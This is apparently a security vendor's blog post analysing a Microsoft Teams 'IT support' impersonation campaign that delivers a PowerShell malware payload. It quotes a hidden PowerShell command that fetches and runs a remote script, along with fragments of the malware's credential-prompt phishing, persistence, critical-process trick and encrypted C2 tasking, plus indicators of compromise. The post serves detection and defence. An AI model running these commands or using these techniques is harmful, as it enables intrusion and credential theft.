[Webinar] What Insider Threats Actually Look Like - A Lesson From the Rippling Lawsuit 

[WATCH NOW]

Announcing Permiso Discover - A free identity inventory & visibility for human, non-human and AI

[Join the Waitlist]
Hamburger
Close Icon
Linkedin
Linkedin
Illustration Cloud

Sliding into your DMs: Abusing Microsoft Teams for Malware Delivery

Social engineering remains one of the most effective methods for initial access, with phishing continuing to be a preferred technique among threat actors. While email is the most common vector, adversaries are increasingly shifting their focus to alternative communication platforms, particularly those deeply integrated into day-to-day enterprise operations. One such platform is Microsoft Teams, which has become a cornerstone for internal messaging, meetings, and file sharing in many organizations, making it an attractive target for abuse.

In recent months, we have observed a growing number of campaigns abusing Microsoft Teams to deliver malicious payloads. These attacks typically involve direct messages or calls originating from newly created or compromised tenants, impersonating trusted contacts to gain remote access, presented as legitimate support, which then enables the deployment of malware onto the victim’s machine.

This blog post examines one such campaign, where Microsoft Teams was used as the initial social engineering vector to distribute a PowerShell-based payload. We will analyze the initial access mechanism, unpack the payload’s functionality, and provide key indicators of compromise to aid defenders in detection and response.

When “IT Support” calls you

Since its release in early 2017, Microsoft Teams has been widely adopted as a communication platform across organizations of all sizes. Its integration into daily operations has fostered a strong level of trust among users, who often assume that content shared within the platform is inherently legitimate. This trust, however, has also positioned Teams as an appealing vector for threat actors, who have leveraged its perceived reliability to facilitate a range of social engineering attacks.

In campaigns we have observed over the past several months, threat actors have created Microsoft Teams accounts intended to impersonate IT support personnel. These accounts engage users through one-on-one chats, often using display names such as “IT SUPPORT”, “Help Desk”, or combinations of personal names and departmental titles. While the impersonation techniques are relatively simple, they are often effective. The appearance of authority, coupled with the familiarity of the platform, is frequently sufficient to establish initial trust. In several cases, visual elements such as checkmark emojis (✅) have been included in the display names, likely intended to simulate verification or convey the appearance of an internally sanctioned account.

Permiso dashboard showing Teams security alerts

These accounts often rely on Microsoft’s onmicrosoft.com domain structure to appear legitimate. However, the naming conventions associated with them frequently diverge from typical enterprise patterns. Usernames commonly include broad or generic prefixes such as admin, engineering, or supportbotit, which may indicate automated provisioning or the use of bulk account creation methods.

The number of individuals targeted in these campaigns varies widely, ranging from single users to dozens across different organizations. Although the victims occupy diverse roles, one commonality persists: all are based in English-speaking regions. The lures used to initiate engagement are tailored to appear routine and unremarkable, typically framed as IT assistance related to Teams performance, system maintenance, or general technical support. These scenarios are designed to blend into the background of everyday corporate communication, making them less likely to trigger suspicion.

Microsoft Teams phishing attempt alert

To receive the message, Microsoft Teams requires the user to permit communication from outside contacts. The example above shows a simulated version of how this message would appear to the target.

Taking it to the next level

Once the initial interaction is established, the attackers guide the victim toward installing remote access software, most commonly QuickAssist or AnyDesk. From there, the actor uses the native features of the remote access software to take control of the victim's system.

Attack chain using Microsoft Teams to deliver malware

Variants of this technique have been observed since at least May 2024, with public reporting from Microsoft, Rapid7, and ReliaQuest linking it to campaigns associated with BlackBasta ransomware. In those earlier cases, the social engineering process typically began with a high volume of email messages, often numbering in the thousands, sent to the target before any contact was made over Microsoft Teams. In the cases we have analyzed, the preliminary email activity is not always present, which may reflect variations in delivery methods or the use of similar techniques by different threat actors.

While early reporting associated the activity with BlackBasta ransomware, subsequent investigations have identified the deployment of DarkGate, with more recent cases also involving the Matanbuchus loader.

In one of the recent cases, we observed the following command being executed:

powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Command 
"Invoke-RestMethod -Uri <https://audiorealteak.com/payload/build.ps1/iex>"

This PowerShell payload is a multi-stage script with capabilities commonly associated with credential theft, persistence, and remote code execution. It includes several notable features that demonstrate both operational intent and developer tradeoffs.

Red-flags

The sample contains several unique hard-coded strings that are ideal for pivoting to other files linked to the threat actor’s tooling. Two of the most valuable are the AES parameters defined early in the script:

$iv = "&9*zS7LY%ZN1thfI"
$key = "123456789012345678901234r0hollah"

Open-source intelligence (OSINT) links these values to previous malicious scripts attributed to the threat actor known as EncryptHub and LARVA-208, also tracked as Water Gamayun. This financially motivated group has been active in campaigns combining zero-day exploitation, most notably CVE-2025-26633 (MSC EvilTwin), with custom malware such as SilentPrism, DarkWisp, and bespoke stealers. They frequently use convincing social engineering, including fake AI platforms and job offers, to compromise English-speaking IT staff, developers, and Web3 professionals.

Once access is gained, the actor pivots to stealing credentials and deploying follow-on payloads for long-term persistence. Past reporting has also linked them to ransomware activity, demonstrating a diversified monetization model. The reuse of static cryptographic constants across campaigns is a notable operational weakness, one that enables defenders to pivot in malware repositories and track this group’s tooling over time.

Technical analysis

Mutex for single instance enforcement

To prevent multiple instances from running concurrently, the script uses a named global mutex implemented via Threading.EventWaitHandle. If an instance is already active, the script terminates:

$AppId = "62088a7b-ae9f-2333-77a-6e9c921cb48e"
$script:SingleInstanceEvent = New-Object Threading.EventWaitHandle $true, ...

This limits the number of active infections and reduces noisy behavior that might alert defenders.

Process protection via Critical Flag

The script compiles and injects a C# class to call RtlSetProcessIsCritical from ntdll.dll, which designates the PowerShell process as critical. If the process is killed, it triggers a system crash (BSOD):

[ProcessUtility]::MakeProcessCritical()

This can complicate remediation efforts by causing a system crash if the process is terminated.

System information harvesting

The function SystemInfo collects a comprehensive profile of the host, including:

function SystemInfo {
$IP = Invoke-RestMethod <https://ident.me> ...
$UID = (Get-CimInstance -Class Win32_ComputerSystemProduct).UUID
...
$INFO_RAW = Get-ComputerInfo
}

This information is formatted into a JSON object and encrypted for exfiltration.

Credential theft via GUI prompt

The malware invokes a Windows credential prompt usingPromptForCredential, presenting itself as a benign system configuration request. The entered credentials are extracted and saved to a info.txt file within the user’s AppData directory.

$D = $Host.UI.PromptForCredential("Need credentials", ...)

The native UI makes the phishing attempt blend seamlessly into normal Windows workflows.

Persistence via Scheduled Task or Registry

The script first tries to register a scheduled task  Google LLC Updater that runs a PowerShell command on user logon. If this fails, it falls back to creating a registry autorun entry.

Register-ScheduledTask -TaskName "Google LLC Updater" ...
# OR
Set-ItemProperty -Path HKCU:\\Software\\...\\Run ...

In both cases, the payload it attempts to load and execute is fetched from:

<https://cjhsbam>[.]com/payload/runner.ps1

This domain serves as a backup delivery point for malicious scripts to ensure persistence even if one method fails or is removed.

Encrypted C2 Communication

Data is encrypted with AES using a hardcoded key and IV, then sent to https://audiorealtek[.]com/.

Invoke-RestMethod -Method 'POST' -Uri $SERVER_URL -Body $params ...

C2 responses are decrypted and parsed into PowerShell jobs that run attacker-defined commands.

$tasks = $decrypted | ConvertFrom-Json
Start-Job -ScriptBlock ([scriptblock]::Create(...))

Permiso Coverage

For Permiso customers, the following alert assists in detecting related threats:

Detection ID
P0_M365_TEAMS_CHAT_CREATED_BY_SUSPICIOUS_EXTERNAL_USER_1
P0_M365_TEAMS_CHAT_CREATED_BY_EXTERNAL_USER_1
P0_M365_TEAMS_CHAT_MEMBER_NAME_SUSPICIOUS_CHARACTER_1

 

Indicators of compromise

Below are indicators recently observed across similar campaigns. Not all of these are associated with the same threat actor.

Indicator Type
https://audiorealteak[.]com/payload/build.ps1 URL
https://cjhsbam[.]com/payload/runner.ps1 URL
104.21.40[.]219 IPv4
193.5.65[.]199 IPv4
Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 UA
&9*zS7LY%ZN1thfI Initialization Vector
123456789012345678901234r0hollah Encryption Key
62088a7b-ae9f-2333-77a-6e9c921cb48e Mutex
Help Desk Specialist ✅ User Display Name
IT SUPPORT✅ User Display Name
Marco DaSilva IT Support ✅ User Display Name
IT SUPPORT ✅ User Display Name
Help Desk User Display Name
@cybersecurityadm.onmicrosoft.com User Principal Name
@updateteamis.onmicrosoft.com User Principal Name
@supportbotit.onmicrosoft.com User Principal Name
@replysupport.onmicrosoft.com User Principal Name
@administratoritdep.onmicrosoft.com User Principal Name
@luxadmln.onmicrosoft.com User Principal Name
@firewalloverview.onmicrosoft.com User Principal Name
@firewalloverview.onmicrosoft.com User Principal Name

Defending against social engineering and malware delivery requires layered protection. Visit our Solutions page to see how we can help, or Contact Us to start a conversation with our experts.


 

Illustration Cloud